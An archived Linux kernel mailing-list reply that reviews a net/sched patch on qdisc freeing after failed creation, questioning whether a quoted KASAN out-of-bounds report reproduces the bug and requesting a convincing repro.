> [ 230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
> [ 231.667279]
> ==================================================================
> [ 231.667738] BUG: KASAN: stack-out-of-bounds in
> __ip_options_echo+0xdf7/0x1860
I'm struggling to see how this is a repro for the qdisc lifecycle bug
In any case -- if the fix is really correct and there's some real repro
shared off list - I think you're deleting the last caller of
qdisc_free() so you should inline it into qdisc_free_cb()
So patch as is needs to be refactored. But please don't repost just
to refactor, we need a convincing repro first.
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-08-13 1:22 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-08-05 10:25 [PATCH net] net/sched: defer qdisc freeing after failed creation David Lee
2026-08-05 18:00 ` Jamal Hadi Salim
2026-08-10 15:58 ` David Lee
2026-08-13 1:22 ` Jakub Kicinski
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.